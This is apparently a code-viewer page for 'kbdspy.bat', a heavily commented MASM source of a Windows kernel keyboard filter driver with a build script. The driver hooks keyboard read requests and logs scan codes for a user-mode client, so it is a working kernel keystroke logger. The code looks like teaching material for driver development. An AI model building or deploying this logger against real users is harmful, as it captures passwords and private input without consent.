📄 kbdspy.bat
字号:
.if eax == STATUS_SUCCESS
mov g_fFiDO_Attached, FALSE
.endif
LOCK_ACQUIRE g_EventSpinLock
mov bl, al ; old IRQL
mov eax, g_pEventObject
.if eax != NULL
and g_pEventObject, NULL
invoke ObDereferenceObject, eax
.endif
LOCK_RELEASE g_EventSpinLock, bl
.endif
MUTEX_RELEASE g_mtxCDO_State
.elseif [edi].Parameters.DeviceIoControl.IoControlCode == IOCTL_GET_KEY_DATA
.if [edi].Parameters.DeviceIoControl.OutputBufferLength >= sizeof KEY_DATA
invoke FillKeyData, [esi].AssociatedIrp.SystemBuffer, \
[edi].Parameters.DeviceIoControl.OutputBufferLength
mov [esi].IoStatus.Information, eax
mov [esi].IoStatus.Status, STATUS_SUCCESS
.else
mov [esi].IoStatus.Status, STATUS_BUFFER_TOO_SMALL
.endif
.else
mov [esi].IoStatus.Status, STATUS_INVALID_DEVICE_REQUEST
.endif
mov eax, [esi].IoStatus.Status
mov status, eax
assume esi:nothing
assume edi:nothing
fastcall IofCompleteRequest, esi, IO_NO_INCREMENT
mov eax, status
ret
CDO_DispatchDeviceControl endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; DriverUnload
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
DriverUnload proc pDriverObject:PDRIVER_OBJECT
local KeyData:KEY_DATA
invoke IoDeleteSymbolicLink, addr g_usSymbolicLinkName
; Empty and destroy list
.while TRUE
invoke RemoveEntry, addr KeyData
.break .if eax == 0
.endw
invoke ExDeleteNPagedLookasideList, g_pKeyDataLookaside
invoke ExFreePool, g_pKeyDataLookaside
mov eax, pDriverObject
invoke IoDeleteDevice, (DRIVER_OBJECT PTR [eax]).DeviceObject
ret
DriverUnload endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; ReadComplete
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
ReadComplete proc uses esi edi ebx pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP, pContext:PVOID
local KeyData:KEY_DATA
local cEntriesLogged:DWORD
; This routine is to be called when the IRP is completed.
; It is running at IRQL <= DISPATCH_LEVEL and in an arbitrary thread context.
mov esi, pIrp
assume esi:ptr _IRP
; Probably better to use NT_SUCCESS-like behaviour, but it works anyway
.if [esi].IoStatus.Status == STATUS_SUCCESS
; At least one KEYBOARD_INPUT_DATA structure was transferred.
; The AssociatedIrp.SystemBuffer member points to the output buffer
; that is allocated by the Win32 subsystem to output the requested
; number of KEYBOARD_INPUT_DATA structures.
mov edi, [esi].AssociatedIrp.SystemBuffer
assume edi:ptr KEYBOARD_INPUT_DATA
; The Information member specifies the number of bytes
; that are transferred to the Win32 subsystem output buffer.
mov ebx, [esi].IoStatus.Information
and cEntriesLogged, 0
.while sdword ptr ebx >= sizeof KEYBOARD_INPUT_DATA
movzx eax, [edi].MakeCode
mov KeyData.dwScanCode, eax
movzx eax, [edi].Flags
mov KeyData.Flags, eax
invoke AddEntry, addr KeyData
inc cEntriesLogged
add edi, sizeof KEYBOARD_INPUT_DATA
sub ebx, sizeof KEYBOARD_INPUT_DATA
.endw
assume edi:nothing
; Notify user-mode client.
.if ( cEntriesLogged != 0 )
LOCK_ACQUIRE g_EventSpinLock
mov bl, al ; old IRQL
.if ( g_pEventObject != NULL ) ; EventObject may go away
invoke KeSetEvent, g_pEventObject, 0, FALSE
.endif
LOCK_RELEASE g_EventSpinLock, bl
.endif
.endif
; Any driver that returns STATUS_SUCCESS from IoCompletion routine should check the
; IRP->PendingReturned flag in the IoCompletion routine. If the flag is set,
; the IoCompletion routine must call IoMarkIrpPending with the IRP.
.if [esi].PendingReturned
IoMarkIrpPending esi
.endif
assume esi:nothing
lock dec g_dwPendingRequests
mov eax, STATUS_SUCCESS
ret
ReadComplete endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; FiDO_DispatchRead
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
FiDO_DispatchRead proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
; The IRP_MJ_READ request transfers zero or more KEYBOARD_INPUT_DATA structures
; from Kbdclass's internal data queue to the Win32 subsystem buffer.
.if g_fSpy
lock inc g_dwPendingRequests
; We pass the same parameters to lower driver copying our stack location to the next-lower one.
IoCopyCurrentIrpStackLocationToNext pIrp
; To find out how the IRP will be completed we install completion routine.
; It will be called when the next-lower-level driver has completed IRP.
IoSetCompletionRoutine pIrp, ReadComplete, NULL, TRUE, TRUE, TRUE
.else
; No need to know what will happen with IRP. So just pass it down and forget.
; Bacause we do not need to set completion routine use IoSkipCurrentIrpStackLocation
; instead of IoCopyCurrentIrpStackLocationToNext. It's faster.
IoSkipCurrentIrpStackLocation pIrp
.endif
; It's time to send an IRP to next-lower-level driver.
mov eax, pDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
mov eax, (FiDO_DEVICE_EXTENSION ptr [eax]).pNextLowerDeviceObject
invoke IoCallDriver, eax, pIrp
; We must return exactly the same value IoCallDriver has returned.
ret
FiDO_DispatchRead endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; FiDO_DispatchPower
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
FiDO_DispatchPower proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
invoke PoStartNextPowerIrp, pIrp
IoSkipCurrentIrpStackLocation pIrp
mov eax, pDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
mov eax, (FiDO_DEVICE_EXTENSION ptr [eax]).pNextLowerDeviceObject
invoke PoCallDriver, eax, pIrp
; We must return exactly the same value PoCallDriver has returned.
ret
FiDO_DispatchPower endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; DriverDispatch
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
DriverDispatch proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
local status:NTSTATUS
local dwMajorFunction:DWORD
IoGetCurrentIrpStackLocation pIrp
movzx eax, (IO_STACK_LOCATION PTR [eax]).MajorFunction
mov dwMajorFunction, eax
mov eax, pDeviceObject
.if eax == g_pFilterDeviceObject
mov eax, dwMajorFunction
.if eax == IRP_MJ_READ
invoke FiDO_DispatchRead, pDeviceObject, pIrp
mov status, eax
.elseif eax == IRP_MJ_POWER
invoke FiDO_DispatchPower, pDeviceObject, pIrp
mov status, eax
.else
invoke FiDO_DispatchPassThrough, pDeviceObject, pIrp
mov status, eax
.endif
.elseif eax == g_pControlDeviceObject
; Request is to our CDO. Let' see what our client want us do
mov eax, dwMajorFunction
.if eax == IRP_MJ_CREATE
invoke CDO_DispatchCreate, pDeviceObject, pIrp
mov status, eax
.elseif eax == IRP_MJ_CLOSE
invoke CDO_DispatchClose, pDeviceObject, pIrp
mov status, eax
.elseif eax == IRP_MJ_DEVICE_CONTROL
invoke CDO_DispatchDeviceControl, pDeviceObject, pIrp
mov status, eax
.else
mov ecx, pIrp
mov (_IRP PTR [ecx]).IoStatus.Status, STATUS_INVALID_DEVICE_REQUEST
and (_IRP PTR [ecx]).IoStatus.Information, 0
fastcall IofCompleteRequest, ecx, IO_NO_INCREMENT
mov status, STATUS_INVALID_DEVICE_REQUEST
.endif
.else
; Strange, we have recieved IRP for the device we do not know about.
; This should never happen. Just complete IRP as invalid.
mov ecx, pIrp
mov (_IRP PTR [ecx]).IoStatus.Status, STATUS_INVALID_DEVICE_REQUEST
and (_IRP PTR [ecx]).IoStatus.Information, 0
fastcall IofCompleteRequest, ecx, IO_NO_INCREMENT
mov status, STATUS_INVALID_DEVICE_REQUEST
.endif
mov eax, status
ret
DriverDispatch endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; D I S C A R D A B L E C O D E
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.code INIT
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; DriverEntry
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
DriverEntry proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
local status:NTSTATUS
mov status, STATUS_DEVICE_CONFIGURATION_ERROR
; Create a Control Device Object (CDO). The purpose of the CDO is to allow
; our user-mode client to communicate with us, even before the filter is attached
; to its target
;
; We store the CDO pointer into g_pControlDeviceObject, a globally defined variable.
; This way we can identify the control device object in dispatch routines by comparing
; the passed in device pointer against our CDO pointer
;
; CDO is exclusive one. It ensures that only one process opens the device at a time.
; DDK stands it is reserved for system use and drivers set this parameter to FALSE.
; Anyway we set it to TRUE and to force single-client logic mantain global variable
; g_fCDOOpened which we will set/reset in CDO_DispatchCreate/CDO_DispatchClose
invoke IoCreateDevice, pDriverObject, 0, addr g_usControlDeviceName, \
FILE_DEVICE_UNKNOWN, 0, TRUE, addr g_pControlDeviceObject
.if eax == STATUS_SUCCESS
;mov eax, g_pControlDeviceObject
;mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
;and (CDO_DEVICE_EXTENSION ptr [eax]).fOpened, 0
invoke IoCreateSymbolicLink, addr g_usSymbolicLinkName, addr g_usControlDeviceName
.if eax == STATUS_SUCCESS
; Allocate memory for lookaside list
invoke ExAllocatePool, NonPagedPool, sizeof NPAGED_LOOKASIDE_LIST
.if eax != NULL
mov g_pKeyDataLookaside, eax
invoke ExInitializeNPagedLookasideList, g_pKeyDataLookaside, \
NULL, NULL, 0, sizeof KEY_DATA_ENTRY, 'ypSK', 0
; Use doubly linked list to track memory blocks
; we will allocate/free from/to lookaside list
InitializeListHead addr g_KeyDataListHead
and g_cKeyDataEntries, 0
; Init spin lock guarding common driver routines
invoke KeInitializeSpinLock, addr g_KeyDataSpinLock
; Init spin lock guarding event pointer
invoke KeInitializeSpinLock, addr g_EventSpinLock
; Init CDO state mutex
MUTEX_INIT g_mtxCDO_State
; I know they all are zero by default, but...
and g_fCDO_Opened, FALSE
and g_fFiDO_Attached, FALSE
and g_pFilterDeviceObject, NULL
and g_fSpy, FALSE
and g_dwPendingRequests, 0
mov eax, pDriverObject
assume eax:ptr DRIVER_OBJECT
mov ecx, IRP_MJ_MAXIMUM_FUNCTION + 1
.while ecx
dec ecx
mov [eax].MajorFunction[ecx*(sizeof PVOID)], offset DriverDispatch
.endw
mov [eax].DriverUnload, offset DriverUnload
assume eax:nothing
mov eax, pDriverObject
mov g_pDriverObject, eax
mov status, STATUS_SUCCESS
.else ; ExAllocatePool failed
invoke IoDeleteSymbolicLink, addr g_usSymbolicLinkName
invoke IoDeleteDevice, g_pControlDeviceObject
.endif
.else ; IoCreateSymbolicLink failed
invoke IoDeleteDevice, g_pControlDeviceObject
.endif
.endif
mov eax, status
ret
DriverEntry endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
end DriverEntry
:make
set drv=KbdSpy
if exist ..\%drv%.sys del ..\%drv%.sys
\masm32\bin\ml /nologo /c /coff %drv%.bat
\masm32\bin\link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native /ignore:4078 %drv%.obj
del %drv%.obj
move %drv%.sys ..
echo.
pause
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -